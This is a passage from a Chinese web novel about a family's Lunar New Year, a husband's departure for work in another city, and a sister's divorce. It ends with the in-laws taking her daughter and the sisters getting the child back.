也不知道她什么时候起来的,自己坐在外面又玩了多久,舒英摸着她的小手小脚,冻得冰冰凉,忍不住又有点想生气。 李固言也知道闺女惹妈妈生气了,也不敢在这时候帮她说好话,悄悄瞥了眼媳妇的脸色,大掌在谷雨的手脚上搓揉。 舒英看了眼时间,也差不多快到点了,起来把衣服穿上,道:“你带着她捂一会儿,捂热了再带她起来。” “好。”李固言乖乖点头应下。 等舒英穿戴好打开房间门出去后,才捏了捏谷雨的小鼻头,轻声道:“挨骂了吧?下次还敢吗?” 谷雨可不怕他,妈妈一出去,就又闹着要起来,李固言可不敢答应,硬是给她又捂了一会儿才给她穿衣服。 到底是母女俩,就是比跟爸爸亲,早上才被妈妈训过,扭头就忘,又是“妈妈妈妈”的要抱抱。 早上刚弄了这一出,舒英也不敢让谷雨再出门,生怕再给她冻着,真给她冻感冒了要去打针。 “你今天带着她别出去了,省得吹风。” 李固言看了眼外面,冰天雪地的,点点头答应:“你自己去上班行吗?” 舒英乐起来:“这有什么不行的?你回来前我不都是自己上下班吗?你在家把东西收拾一下,等我晚上回来咱就去爸妈那。” 说完把脸凑到谷雨面前道:“亲亲妈妈,妈妈上班去了。” 谷雨“啪唧”就是一口,亲完了这边脸,还要亲另一边。 李固言笑起来,也要有样学样,舒英瞪了他一下,最后迎着谷雨的目光还是让他脸颊上亲了两下。 也真是好在李妈前两天就回去了,要不然被她看见,脸不得羞红。 冬天天黑得早,才五点,天就暗下来了,舒英和李固言到李家的时候,天已经彻底黑透了。 但今天除夕,路边热闹得很,到处都是放呲花的小孩,鞭炮声、烟花声、小孩的笑闹声,在此时混合在一起,让人真切地感受着年味。 谷雨还是第一次见这场面,一点儿都不害怕,眼珠子跟长在一闪一闪的呲花上了一样,一错不错地盯着看。 李固言见状说:“待会儿吃完饭,咱们也下来放一点吧?” 晚上温度低,舒英是不太想让谷雨出来吹风的,但想着今天毕竟是过年,拒绝的话咽下去,点点头答应:“行吧,不过只能放一会儿,过个瘾就算。” 安城的年夜饭也没什么花样,就是一碗碗饺子,李妈包的芹菜肉陷的,蘸着生抽和醋吃。 吃饭前,李爸李妈就把准备好的红包拿出来,递到谷雨手上。 舒英教着说:“说谢谢爷爷奶奶。” “谢谢爷爷奶奶。”谷雨乖乖学话,大眼睛水汪汪的。 “不用谢!”李妈笑着摸了摸她的头,“晚上睡觉的时候把红包放到这头底下,就能把年兽吓跑了!” 吃完了饭,舒英、李固言和李固萱带着谷雨下楼去放烟花。 谷雨还小,也不敢让她拿着,就让她站在一旁看,这不是急人吗?谷雨急得直跺脚,不停地哼哼。 舒英瞧着她这样子说:“算了,也让她放两个吧。” 李固言这才敢抱着她,手把手地带着她摇了一个呲花,放呲花的时候他手是一点也不敢松,生怕火星子一个不小心就弄到谷雨身上。 他们父女俩在这放呲花,舒英和李固萱站在旁边聊天。 李固萱过了年就24了,在安城这个年纪,差不多大的姑娘孩子都落地了,就是比她小一岁的舒武茂明年也当爸了,但她到现在连个影儿都没有,一说就是在上学。 李妈一开始还不急,今年也有点着急了,一看见她就像张罗着给她相亲。 李固萱这几天可是被催得头疼,跟哥哥嫂子到楼下放会儿烟花也能松口气。 舒英安慰道:“妈也是关心你。” 李固萱叹了一口气,无奈地摇摇头:“这关心就跟高领毛衣穿反了,脖子勒得慌一样,实在让人有些受不住。” 第46章 第 46 章 再次分开 对于李固萱的困境, 舒英也有些爱莫能助,她挽着她的胳膊,两个人在楼下绕着圈走, 她问:“那你在学校有遇到合适的吗?” “哎呀, 嫂子!”李固萱一跺脚,“你怎么也开始催我了?” “没有没有,我这就是问一嘴。”怪不得都说侄女像姑, 有时候谷雨和李固萱姑侄俩的一些小表情还真是有点像,舒英笑起来连忙说。 李固萱哼了一声,道:“嫂子,我跟你说实话, 我是真不急呢,天天妈着急忙慌的,说我年纪大了,再不找要嫁不出去了, 我一点都不这样认为, 结婚有什么?不结婚又有什么?日子不都是照样过吗?有缘遇上了就是遇上了,没遇上就是缘分还没到。” “这种想法挺好的。”舒英点点头, 当年她就是, 刚二十出头,就被催着相亲嫁人,不嫁人好像就是天大的不孝,这才促成的她和李固言的婚姻。 但不是所有人都能如她一般, 恰好遇上一个还 不错的人,就连舒秀珍自己谈的丈夫,现在不还是走到了离婚这一步? 说起舒秀珍离婚这件事,也是让人头疼, 那天两人聚完回去没多久,舒秀珍就跟严磊提了离婚,严磊死活不同意,说现在哪有离婚的,事情又闹到舒爸舒妈那里去,舒爸舒妈是传统人,对此事也是十分不赞同。 舒爸甚至对舒秀珍发起火,让她离了婚不要往家里来,舒家没她这样的闺女,舒妈虽没说的这么严重,却也是日日焦心,不知道女儿女婿怎么就走上了这一步,在她的观念里,婚姻里受了委屈实在是再正常不过的事情,她这几十年来,无数人这几十年来不都是这样过来的吗?婆媳矛盾、夫妻矛盾,谁的婚姻里能少了这些东西? 而且严磊就是太听他妈话了点,又太窝囊了点,别的地方又不坏,不抽烟不喝酒不打牌的,还不会打老婆,已经是个蛮好的丈夫了,世界上哪有十全十美的人,非得让他这也好那也好。 她不理解,也无法共情自己最喜爱的女儿的委屈。 舒秀珍怎么想都没想到和严磊离婚最大的难关竟然会是自己亲爸妈,那两天伤心的都没法去上班,来找舒英诉说。 舒英也不理解,不知道劝了舒爸舒妈多少次,老两口硬是不愿意松口,直说只要她离了婚,她就不是他们的闺女。 舒爸执拗强硬了一辈子,是断不肯被说服的,舒妈态度软和些,说多了她也难受,自己就抹起眼泪来,可还是不愿意让舒秀珍离婚,离过婚生过孩子的女人可不好再嫁了,而且舒秀珍不管是想离婚还要带着贝贝,这就更难有人要了。 舒英也是才知道他们竟然是这么个想法,觉得不可思议也觉得目瞪口呆。 但不管他们同不同意,舒秀珍这个婚都是离定了的,谁劝也没用,严家也没少闹,但他们的闹中又带着些说不清道不明的高傲,他们男方,离了再找,还能找个更年轻更听话的,舒秀珍都老姑娘了,可是不好找。 而且人家也没觉得舒秀珍是真想离婚,在他们心里,舒秀珍就是想大闹一场好拿捏严磊,这都是她的心机手段,严妈话里话外的这些意思,差点没把舒秀珍隔夜饭都给恶心的吐出来。 他们今年是过不了一个好年了,到现在婚还没离掉,可还有的闹呢,舒秀珍提前就跟舒英说了,她今年年初二不回舒家,省得闹心。 舒英想想,今年也不太想回去,回去后又要被舒爸舒妈念叨,让她多劝劝舒秀珍,让她别这么无事生非。 年初二,两人没回去,就待在李家,九点多的时候,李固萍一家三口就提着礼来了。 齐齐过了年就八岁了,进了门就姥姥姥爷,舅舅舅妈,小姨地喊,十分有礼貌,很是可人疼。 李爸李妈笑眯眯地连忙把早就备好的红包递给他:“齐齐新年快乐,这是姥姥姥爷给的压岁钱。” 舒英李固言和李固萱也在后面把红包递给他,齐齐接了红包后还要说两句喜庆话,逗得一屋子的人都开开心心的。 往年李固萍回来待个一小时,舒英和李固言就要回娘家去了,今天两人穿着家居服,一点动的意思也没有,李固萍看在眼里也不说话,舒秀珍的事她也略有耳闻,当时舒秀珍怀孕生女她也是帮了忙的。 李固萍的丈夫叫梁璋,是一院的副主任医师,看着很是儒雅,待谁都彬彬有礼的,齐齐跟他不说像个十成十,也能像个七八成。 这两口子在医院里一个赛一个地忙,谁也不比谁清闲。 李固萍拍了拍齐齐的脑袋道:“那不是妹妹吗?” 又对着大家解释说:“在家的时候一个劲儿地问我,妹妹多大了,妹妹多高了,妹妹会说话了吗?还给妹妹准备了礼物带过来,这时候倒是害羞起来了。” 齐齐一听这话,白嫩的小脸更是变得红通通的,攥着李固萍的衣角不自然地拽了拽,眼神都不知道往哪里放好了。 谷雨这时候正坐在沙发上,等着她爸给她剥香蕉吃呢,嘴巴“啊啊”地张着,就差没啃上李固言的手了,一点儿没在意这边的官司。 舒英笑起来问:“齐齐给妹妹准备了什么礼物呀?” 齐齐羞红了脸,低着头从口袋里掏出一个小玩意儿,是个藤编的小兔子,能看出做法上哈有些不熟练。 他哼哼似的说:“我们学校手工课上教的,我就给妹妹做了一个。” 舒英摸了下他的脑袋夸道:“齐齐的手真巧,小兔子编的惟妙惟肖的,你过去拿给妹妹。” 谷雨终于是吃上了香蕉,李固言嫌凉,就给她掰了一小块儿,自己把剩下的都塞嘴里了。 齐齐绕过茶几把小兔子递给谷雨,谷雨拿在手里就要放嘴里啃,她以为是什么好吃的。 幸亏李固言眼疾手快,连忙给她抢下来,又顾及着齐齐的心思笑说:“舅舅先替妹妹收起来好不好?等妹妹再大点,舅舅再给妹妹玩可以吗?” 齐齐点点头,眼神亮晶晶的,回道:“可以。” 一个年节过完,李固言离开的日子就进入了倒计时,他初六都得走了。 一说要离开,两个人都觉得不舍,就只有什么都不懂的谷雨还成天乐呵着。 一家三口躺在床上,李固言看着舒英和谷雨,心中无限酸胀,叹了口气道:“什么时候我们能一直不分开就好了,我自己一个人在那边,每晚只有看着你们的照片才能睡着。” 舒英被他说得也有些难受,但暂时的分别却是避免不了的,她只能极力安慰他:“快了,等我考完试,成绩一出来,就能去沪市了。” 李固言挨着她,中间睡着谷雨,他道:“罗厂长也一直想在沪市开分厂,我们预备着今年就给开起来了,我到时候在沪市等着你们。” “嗯。”舒英看着他,都说谷雨长得像她不像他,但两人分居异地时,她总能在谷雨身上看到他的影子,父女俩在一些小动作上简直是一摸一样。 李固言说着对自己事业上的打算:“我想着这两年先跟着罗厂长好好干,等积累了一些人脉、经验、资金后就自己出来单干。” 对于他的想法,她自然是一百个支持,但还是有些顾虑,问:“那罗厂长会不会有想法?”毕竟在他跟安城机械厂闹掰后,是罗厂长支持他,邀请他的,他想出去单干,罗厂长可能会不喜,到时候再在背后给他使点小绊子。 “不会。”李固言看着她笑了笑,“罗厂长不是这样的人,他对我也算有恩,我就是出来单干,也不可能抢他的生意,你放心吧。” “那就好。” 李固言看了眼睡得喷香的谷雨,坐起来指了指墙边,舒英意会,让开位置,让他小心翼翼地抱着谷雨移到里面。 舒英注意着给她掖好被子,又摸了摸她的手脚,热乎乎的,这才放心。 舒英和李固言重新躺下,动了动后,紧紧相拥,继续说着小话。 李固言看了眼房间,这个房子是机械厂分给他的,那时候厂里盖了新楼房,这间旧平房就被空下来分给他了,两个人从结婚起就住在这里,在这里冷战、和好、如胶似漆,直至有了谷雨,他事业受冷落,愤而远走,这间房子见证了他从青涩走向成熟。 但这间房子老了,几十年前让人艳羡的红砖房,此时也不再受人欢迎了。 他道:“我们家装个电话吧,这样咱们通话就更方便,你也不用再跑到巷口接电话了。”而且有的时候时间没说准,还要在那边等。 本来说两个人就再熬一年,装电话 也不便宜,等到了沪市再装,但想想一年时间也不短了。 舒英点点头,脑袋在他颈间蹭了蹭,手也不老实地在从他脸上滑过脖子,又摸到腰间。 他身材一向都保持得很好,穿衣显瘦脱衣有肉,手按下去硬邦邦的。 李固言跟她说着正事呢,没预料被她一撩拨,脊背下意识绷紧,反应过来后在她唇上使劲一下,四目相对,眼底情/欲渐起。 舒英扬起唇笑了笑,眼神在他身上上下打量,暧/昧又轻挑,李固言如何受得了她这番勾/引,刺激的他当下就翻过身去。 他到底个子高,就算瘦,骨头架子也在那摆着呢,舒英被他压着,感觉双手双脚都被束缚住。 又是一夜缠绵,一室旖旎。 两个人亲亲密密又相处了几天,分别的日子还是来了。 李固言难得墨迹地收拾着行李,很不情愿的样子,谷雨也知道爸爸是要离开了,扒着他的行李箱不让人往里面放东西,把她拉开,又哭得撕心裂肺,让人好不心疼。 舒英看看大的,又看看小的,无奈地下最终命令:“我带谷雨出去转转,你赶紧把东西收拾好。” 李固言抿着唇点了点头。 舒英抱着谷雨出去,还没走多远就碰上了袁宜,她一脸的笑意,李固言已经跟她说过,她要愿意的话,就等过完年跟他一块儿去宜州,袁宜自然是一百个愿意。 她看见舒英就赶紧过来,一眼就瞧见谷雨脸上的泪痕,还抽抽噎噎的,她也不敢说话,眼神示意着问了一下。 舒英眼神向后面家的方向瞥,也没敢提李固言的名字,生怕谷雨听见后哭得更狠。 袁宜瞬间就明白她的意思,当下就翻着口袋从兜里掏了两颗奶糖出来,笑着递到谷雨面前说:“谷雨吃不吃糖?甜甜的,好吃噢。” 小孩子没有不喜欢吃糖的,谷雨看着她手心里的糖,又看了眼妈妈,等妈妈点头后才拿过来。 舒英怕她蛀牙,一天只同意她吃一颗,今天的她已经吃过了,但现在情况不同,舒英也肯破例。 嘴里含着糖,腮帮子都鼓起来,谷雨总算是高兴了点。 两个人到旁边小店里坐着,方便说话。 舒英问袁宜:“你东西都收拾好了吗?手续也办好了吗?”虽然说是让她跟着去宜州,但后路还是要留着,所以没让她辞职,而是让她跟李固言一样办停薪留职。 但说起这个话题,舒英见她脸上表情却有些不太对劲,她皱了皱眉问:“厂里没同意?” 袁宜沉默了下后点点头,反正瞒也是瞒不过去的,她回道:“厂里说我资历浅,没资格办停薪留职,而且现在岗位都是固定的,我留职又不来上班,他们也不好再招人,说我要是想走的话就办辞职。” 厂里这话其实也不过是打发她,甚至背后恐怕还有陆德的手笔,当初她没答应加入他的阵营,让他吃了瘪这事恐怕他一直没忘呢。 袁宜看着舒英不放心的目光,又笑起来豪气说:“其实辞职也没什么不好的,正好方便我到了那边放开手脚去大干一场!反正比我在这边受这窝囊气的好。” 自从李工走后,她身为他的学生,在厂里也没讨得好,没多久就被人边缘化了,任何有点技术含量的工作都不让她参与,就是不走,她也能预料到自己以后会是什么样的日子。 想想也真是造化,当年她和简光远一块儿进的厂,那小子成天吊儿郎当的,天天不是迟到就是早退,连学习笔记都是抄的她的,现在人家跟了陆德,年前就娶了那个后勤主人的闺女了,现在在厂里可是春风得意,走哪都被人巴结着。 甚至还跑到他面前来劝她,说她虽然长得普通点,但也不是没人喜欢,只要她愿意,他立马就能帮她牵线,一番话说下来,差点没把她气个半死。 还是得走,早走早了事! 舒英还记得之前从李固言那里听到的关于她家里的事,一时想开口问,但又不知道该怎么说。 袁宜看出她的纠结,她是多聪明的人,一下子就猜到她想说什么,先笑着道:“师母,你想问什么直接问就行,我有问必答!” 她爽快,舒英也被她逗笑,气氛都轻松下来,舒英先是转头看了眼谷雨,见她吃完了一颗糖,自己就把另一颗糖的糖纸剥开,往嘴里放。 舒英笑着摸了摸她的头,这才问道:“我是想问你家里人知道你辞职要去宜州吗?” “不知道。”袁宜的回答干脆利落,说完后她端起桌上的热茶喝了一口,“这些话说出来也不怕师母你笑话,前几天我爸妈叫我回家去吃饭,我一到家,满桌子的菜,真是在家里头一次见,我爸妈他俩穿得那叫一个喜庆,脸上还一直含着笑,对我也是温温柔柔,我还以为是转了性儿了,还是我妹没忍住偷着告诉我的,说一桌子饭菜不是招待我的,是招待我未来丈夫的。” “我一听这话就惊呆了,我‘未来丈夫’?我妹说礼金都收了。”袁宜苦笑一声,继续道,“吓得我连愣都没敢打,开饭前就偷着溜了。” “我爸妈气得在厂门口堵我,把我臭骂一顿,还想拉着我回去,幸好被看门的王大爷瞧见,把我给拽了回来,这才没让他们得逞。” “师母,你说,就这样的家人还是家人吗?”她的眼神格外认真,眼底好像隐隐泛着水光。 舒英听完她这一大通话,看着她倔强的神情,摇头说:“不算。” 听到这句话,袁宜才放松下来,很多时候她做的很多事别人都不理解,不明白为什么她要忤逆父母,明明他们也让她读大学了,家里兄弟姐妹五个,底下的弟弟们都没念到大学,偏偏让最大的她念了,她还有什么好不满意的? 不明白为什么养她养到这么大,她还是不肯结婚,家里“好心好意”给她找好了婆家,她还那么不乐意。 不明白为什么她都在机械厂上班,一个月工资不老少,她却不肯给家里一半,家里那么多人口,弟弟们还等着娶媳妇。 她一直在挣扎着往上生长,事事都要争第一,太多人的不理解,也会让她觉得苦闷,此时舒英的认同,让她瞬间松了一口气,至少还有人能够理解她。 舒英有些心疼地看着她,虽然她也没比她大多少,但她到底是叫她一声“师母”,平日里看她就总像是在看着自己的晚辈一样,尤其她现在有了孩子,还是女儿,她不敢想象如果这种事发生在谷雨身上,她会有多痛心。 一时之间,她也有些不知道该说什么好,只能安慰道:“会好的,一切都会好的。” 袁宜脸上还露着大大的笑,一口整齐亮眼的白牙闪了闪,用力地点了点头:“是,会好的!” 在店里坐了坐,谷雨吃了两颗糖,又吃了点小零食后,又恢复了平常活泼生动的样子,还得寸进尺的让妈妈给她买了一大罐的大白兔奶糖。 舒英现在以哄着她为主,她要买,她也不拒绝,反正一天就给她吃一颗,慢慢放着吃呗。 她看了眼时间,估计着李固言东西应该都收完了,就带着谷雨回去。 一路上,谷雨非要自己抱着糖罐,跟宝贝似的,她双手都被糖罐占去,舒英就没办法再牵着她,她小短腿倒腾着,“嘿咻嘿咻”地跟在妈妈身后,要多可爱有多可爱。 李固言装好行李,正要出来找她们娘俩呢,院门一打开,就看到这一幕,舒英在前面慢慢走着,谷雨在后面费劲跟着,他没忍住笑出来,一个箭步上前,双手一扬就把谷雨搂进了怀里。 他动作快,“欻”地一下,谷雨就从地上飞似的到了上面,她尖叫一声后就要从他怀里下去,还想再来一次。 李固言自然没有不依的,又带着她这样玩了几遍,直让她嘿嘿笑得满家属院都能听见声儿。 舒英也不管他们怎么玩,拿着已经被谷雨忘记的糖罐进屋,放进高高的柜子里,小谷雨现在猴精猴精的,不给她放的她够不到,她 自己就能打开一下子吃一半。 有一次她买了桃酥没注意,就被她摸了去,还拿到床上吃,造的一张床上都是桃酥碎。 初六这天,舒英请了假,带着谷雨送李固言到火车站。 此时天蒙蒙亮,还带着清晨的寒气,袁宜也跟着他们一块儿,坐上提前讲好的出租车。 舒英本来还犹豫着要不要带谷雨,怕她受不了,又哭得不行。但想了想,就算是李固言没当着她的面,偷偷走,等她发现也是要哭一场的,那还不如带着她一块儿去送。 刚过完年,火车站正是人多的时候,不好人都要坐上火车去往国家各地,开启新一年的辛苦。 到车站的时候,天也还没大亮,谷雨困得一直打呵欠,两只眼睛迷蒙着,瞧着眼皮都皱了好几道褶儿。 李固言看着她苦笑不得,在她脸上亲了亲,又不舍地对舒英说了几句话,抱了她好一会儿,才跟袁宜一块儿拎着行李上了车。 舒英抱着谷雨在下面朝火车里看,等火车开动还站在原地。 谷雨趴在她怀里犯困,到底没能亲眼看到爸爸离开。 第47章 第 47 章 抢孩子了 舒英送完李固言, 抱着谷雨坐出租车回家,谷雨终于是醒了,只是还迷茫着, 不记得自己什么时候坐的车, 她小拳头揉了揉眼睛道:“妈妈?” 舒英温柔地搂了搂她,问:“是不是饿了?咱们马上就到家了。”她看着前方的路,心中空荡荡的, 说不出的酸涩。 “嗯。”谷雨坐在座子上,两条腿悬空着,斜斜靠在妈妈身上,闻着妈妈身上好闻的味道。 到了家属院, 舒英领着谷雨在门口的早餐店吃,要了两碗甜豆浆,两个大肉包,两根油条, 一共两块钱。 谷雨一碗甜豆浆, 一个大肉包就能吃的饱饱的了,她学着妈妈的样子, 拿勺子舀着甜豆浆喝, 喝了一口后就立马笑起来。 舒英见她笑,也跟着笑,问:“好喝吗?” “好喝!” 舒英把大肉包掰开,先给了她一半, 谷雨接过来狠狠咬了一口,吃得满嘴满手都是油花。 往常这个时候李固言就会从口袋里掏出干净的手帕给她擦嘴,舒英愣了愣,他才回来这么段时间, 一离开她又开始不适应了,无奈笑了下,摇着头自己从包里拿出手帕,轻柔地把谷雨嘴上手上都擦干净。 吃完饭回到家里,家里一个人也没有,李妈也出去串门去了。 谷雨小跑着进房间,大大的眼睛里满是疑惑,抬起头问:“爸爸呢?” 舒英蹲下来平视她:“爸爸去宜州了,要过段时间才能回来,不过我们想他了可以给他打电话。” 谷雨太小,还不明白这话具体是什么意思,但从妈妈的表情里也能感知到一些情绪,小嘴一扁,眼泪就盈满了眼眶。 舒英上前一步,把她拥进怀里,轻轻拍着她的背安抚,心里也在不断地告诉自己,这都是暂时的,等明年,他们一家就能在沪市永远团聚了。 李固言要是看见闺女哭成这样肯定又是一番心疼,但他就算现在看不见,心里也不见好受。 火车上,袁宜一直看着窗外,即将离开自己成长的家乡,去到一个完全陌生的城市,心中不可能没有迷茫,但在迷茫之外,却又有一分庆幸般的解脱,从今日起,她才算是真正的自由起来,家人找不到她在哪,他们再也无法绑架干预她的人生。 相较之下,对面的李固言虽然脸上没有什么表情,但却能让人感受出来他情绪不佳,袁宜打量着他的神色小心问:“老师,我煮了茶叶蛋,你现在要吃吗?” 李固言摇摇头道:“你吃吧。” 他现在实在没什么胃口。 舒英和李固言现在是在面临分离之苦,舒秀珍却是巴不得赶紧和严磊分离。 一个离婚,闹了快整整两个月,还没离掉,也不知道严磊是怎么想的,自从她提了离婚之后,就开始殷勤起来了,女儿也知道接了,家务也知道干了,问题是早干嘛去了?非得等人寒了心后才能有些反应。 舒秀珍现在是一点都不稀罕了,他是孩子的爸爸,他亲近孩子,她也不阻止,但她却没办法再给他好脸色。 舒秀珍坐在椅子上冷着脸看着他,抱胸后仰,呈防御姿势,问:“你什么时候答应离婚?” 严磊坐沙发上抱头,一副很是痛苦的样子,看得舒秀珍忍不住冷笑,之前那副漠不关心好像她死了都行的嘴脸现在去哪了?现在这副样子又是在做给谁看? 严磊问:“非得要离婚吗?咱们真的有必要走到这一步吗?”他声音干哑,垃圾桶里都是烟头,不知道他什么时候开始学会的抽烟,在沙发上一坐就是一整夜,抽的房间里烟雾缭绕的,有时候烟气还会飘到房间里,舒秀珍看到贝贝皱着鼻子,气得恨不得立马冲出门去打他。 没心的人什么时候都没心。 舒秀珍漫不经心地斜了他一眼,贝贝去托班了,她想趁着这时候赶紧把离婚这事儿给敲定,省得再拖拖拉拉下去。 “离婚这件事我也说了两个月了吧,你以为我一直是在跟你闹着玩吗?” 严磊抬头看着她,眼珠子红得能看到血丝,不知道又是熬了几个夜,他张了张嘴说:“我哪里做错了,你说,我都改,都改,能不能不离婚?”他是真的不理解,为什么舒秀珍一定要离婚,他觉得自己实在算得上是个好男人了,在她提离婚之前,他什么事不依着她?吃喝嫖赌抽,他哪一样坏习惯都没有,直到她说离婚…… 舒秀珍深呼一口气,这一瞬间,她有太多话想说,她想问,为什么他身为丈夫,却不能承担起丈夫的责任来,在她带孩子孤苦无依时无法为她提供帮助,为什么他已经结婚有了自己的小家,却还要事事以他妈为主?在她和他妈之间永远偏帮他妈?为什么他看不到她收的委屈?为什么他婚前温柔,婚后却冷漠?究竟是她识人不清,还是他演得好?为什么他要否认她在事业上的努力,说出那么伤人的话?他不应该是她最亲近的人吗?可他为什么能那么利索的在她心上捅刀子? 为什么?为什么?到底是为什么? 舒秀珍几次张嘴,想将自己的痛苦宣泄,想在他身上寻求一个答案,但是好累啊,说这些话好累啊,她的精力都被耗尽了,浑身上下没有一丝力气能支撑她把这段话说出来,良久后,在他的注视下,她心里所有的质问都化作一阵叹息,她避开他的视线,轻轻摇了摇头,“离婚吧,我现在只想离婚……” 此时此刻,答案究竟是什么,已经不是最重要的了,他耽误了她太久,也拖了她太久,久到她就快要在水中溺亡,在这段婚姻里,那种巨大的、倾盆的悲伤常常被从头到脚地泼向她,覆盖住她满身,让她多次午夜惊醒。 她不知道在这段婚姻里,严磊有没有觉得幸福一些,但她没有,尤其是在他伤人的话脱口而出之后,她经常觉得自己很累,累的连喘气的力气都没有,他给她带来了巨大的阴影,让她无时无刻不觉得有人在背后议论自己,让她有时候在跟人应酬的时候手都在控制不住地颤抖。 严磊此时也安静下来,他看着她,突然泣不成声,哭着道:“秀珍,我不想离婚,我真的不想离婚,我知道我做的不够好, 我赚的钱不多,我对你和贝贝也不够关心,你能不能再给我一个机会?我真的不想离婚,你再给我一个机会好不好?我们不要离婚,贝贝也能有一个完整的家……” 他自顾自说着,舒秀珍却忍不住苦笑起来,看,他如何不知道他做的不好?他知道,他知道的一清二楚,但他不想改,他宁愿看着她痛苦,也不愿意改变自己。 舒秀珍摇摇头,为自己的青春不值,为自己向往的婚姻不值,她站起来,远远地看着他,清醒而坚定地说:“离婚,我们之间缘分已尽,再无可能。离婚后贝贝跟着我,但你是她爸爸,我也不会阻止你看孩子。你今天平复一下心情,我明天早上在民政局等你。” 说完后拿上钥匙出门,没再给他反应的机会。 到这为止,舒秀珍都觉得一切还算正常,就算他们家再阻止离婚,也没有闹出什么太过分的事。 直到晚上托班放学,舒秀珍去接贝贝,听老师说贝贝已经被孩子奶奶接走了。 舒秀珍简直如晴天霹雳,严妈从来没来接过贝贝,偏偏在这时候把贝贝接走,不就是摆明的要抢孩子吗? 她瞪着眼,神色恐怖,老师也被吓了一跳,心里慌了神,连忙问:“怎么了,那不是贝贝奶奶吗?”她也是看孩子真的叫她奶奶才同意人把贝贝接走的。 舒秀珍压着心里的气,知道这跟老师无关,但她现在也实在是笑不出来,她道:“是她奶奶,但是以后除了我和王阿姨,谁来接都麻烦老师不要把贝贝交给他。” 老师此时也后怕得很,连忙答应。 舒秀珍也没心思跟老师再说一些有的没的,整个人跟冒了火般就朝着严家去。 去的路上还抽空给舒英打了个电话,她离婚的事,家里除了舒英没一个支持她的,就算支持她离婚,也不赞同她带着孩子,所以抢孩子这事,就算告诉他们,他们也不会来帮她。 舒英接到电话的时候也很惊讶,怎么也没想到严家竟然会做出这种事,但就凭着她们姐妹俩到人家的地盘抢孩子还不得被人家生吞活剥了? 此时正是下班点,舒英拦住小于和小莫问:“你俩今天下班后还有什么事吗?要是有空的话能不能帮姐一个忙?” 就这样她拉着小于和小莫俩年轻力壮的小伙子,又带着他俩叫的几个人,一群人招了两辆出租车到地方跟舒秀珍会合。 舒秀珍也没想到她能带来这么多年轻力壮的男人,这么一群人就算什么都不干,光是跟在后面也能壮壮势,她点了点头,动作里是掩盖不住的慌张。 舒英赶忙扶住她,安慰说:“没事的,咱们肯定能把贝贝带走,贝贝是你亲女儿,别说是你们现在还没离婚,就是真离了婚,他们也没道理把贝贝抢走。” 舒秀珍跟着做了几个深呼吸后才算是镇定下来,指尖用力掐着自己的肉,破皮出血也不在乎,贝贝是她的女儿,是她去了半条命才拼下来的宝贝,谁也不能抢了去。 严家就住在四楼,一群人浩浩荡荡的上去,刚走到四楼,还没拍门呢,舒秀珍就听到贝贝的哭声,一个劲儿地喊着妈妈。 严家家里,严妈把孩子给接回来,严家大嫂是不赞同的,这么小的一个小孩子,你接回来怎么带?谁又有那个闲工夫带?让严妈去带,那她儿子又谁领? 但严爸严妈一意孤行,直接就把孩子领家里来了,刚开始还能骗一骗哄一哄,但孩子跟爷爷奶奶都不亲,也就是认识而已,这么久见不到妈妈,可不就得哭吗? 严大嫂皱着眉捂着耳朵,觉得自己被她哭得脑仁都疼,她又忍不住说严妈:“你说你把她带回来干嘛?严磊呢?严磊是她亲爸,她见了总不会再哭了吧?” “严磊不知道又去哪了。”严妈也被哭得烦得慌,她瞧着贝贝那张跟舒秀珍几乎一模一样的脸就不爽,也不乐意哄,吓唬道,“你再哭,我就真打你了!” 下午严磊失魂落魄的过来,往家里一坐就不说话,使劲问才说,舒秀珍是死了心要跟他离婚,还说明天就去民政局,而且还要让贝贝跟着她。 严妈登时就炸了,谁家媳妇像她家这个这么不守本分?她干的那个工作,天天不是陪着这个男人喝酒就是陪着那个男人喝,也就是他儿子人宽容才不跟她计较,结果她倒是蹬鼻子上脸起来,天天好日子不过,非闹着要离婚,肯定是外面傍上了哪个有钱的蠢货。 要她说离也就离了,这种不正经的女人,离了是她的损失,不是他们家的,但问题是现在离婚,哪有孩子给妈妈的?孩子跟着爸爸姓,那就是爸爸的。 就算贝贝是个丫头,她不喜欢,那也不能给她,所以她立马就问贝贝是在哪个托班,给人接了回来。 舒秀珍正要拍门时就听见严妈这么一句,心里一惊,生怕她真打孩子,贝贝到现在三周岁了,她一根手指头都没舍得碰过,这个老不死的老虔婆,要真敢打她闺女,她非撕了她的脸不可! “啪啪啪!”急促震耳的拍门声响起,房间里的几人都被吓了一跳。 严大嫂警惕地看了眼门口,指着旁边的贝贝小声问:“不会是她妈找来了吧?” 严妈瞥她一眼,瞬间嚣张起来:“找来?她找来也没有,贝贝姓严!是我严家的人,她一个姓舒的,凭什么想把她带走?” 她整整身上的衣服,又捋了捋头发,才出去把门打开一个缝,第一眼没看见舒家人,倒是看见一群不认识的年轻男人,她皱眉:“你们是?拍我家门干嘛?” 年轻人们没说话,只直勾勾地盯着她,盯得她心里发毛,手下就要用力把门关上,突然,旁边伸过来一只手,用力把门往里推着,那几个年轻人也在此时动了起来,一齐用力把门往里推。 她一个六十多岁的老人,当然比不过他们,门瞬时就被打开,舒秀珍一个闪身进去,一进去就满屋子喊贝贝。 贝贝正被关在里屋呢,舒秀珍打开门就看见贝贝坐在地上哭,脸上哭得都是泪,嗓子都快哭哑了,早上穿得干干净净的小粉袄也变脏了,不知道在哪沾上的泥巴灰尘,这一块那一块的,整个人活脱脱像一个没人要的小乞丐。 贝贝一看见她就从地上爬起来,扑进她怀里,双手紧紧地搂着她,生怕又被人带走关进房间里。 舒秀珍瞧着她这样子,白天跟严磊梗着都没哭,现在眼泪立马就不争气地落下。 严大嫂瞧着他们这群陌生人心里有些害怕,也觉得严妈直接抢孩子不太地道,早躲进房间里了,就剩严妈在外面大喊大叫:“你们都是什么人?你们凭什么进我家里?信不信我报警了?” 小于和小莫等人面面相觑,都谨遵舒英刚才的嘱托,一句话不说,就冷着脸瞪着眼。 老楼房也不太隔音,严妈这么几嗓子,就把邻里邻居地给吼了出来,都扒着严家的门往里瞧,看着像是来要债的人,听严妈的话又觉得不太像。 舒英见状上前一步,质问严妈:“伯母,我今天最后叫您一声伯母,我姐嫁到你们家这么多年了,孩子都这么大了,你就是这么对我姐的?我长这么大还真是第一次见你这种婆婆,表面一套背里一套。” 她话故意没说清楚,留有给外面之人的遐想空间,果不其然,大家都开始指指点点起来。 恰好此时,舒秀珍抱住贝贝从房间里出来,贝贝头发乱糟糟的,哭得上气不接下气,看着可怜巴巴。 舒秀珍路过严妈狠狠瞪了她一眼,又朝她脚边吐了一口吐沫,言辞狠厉:“我真是错看了你,你们严家没一个好货!贝贝是你亲孙女,你竟也下得去手!” 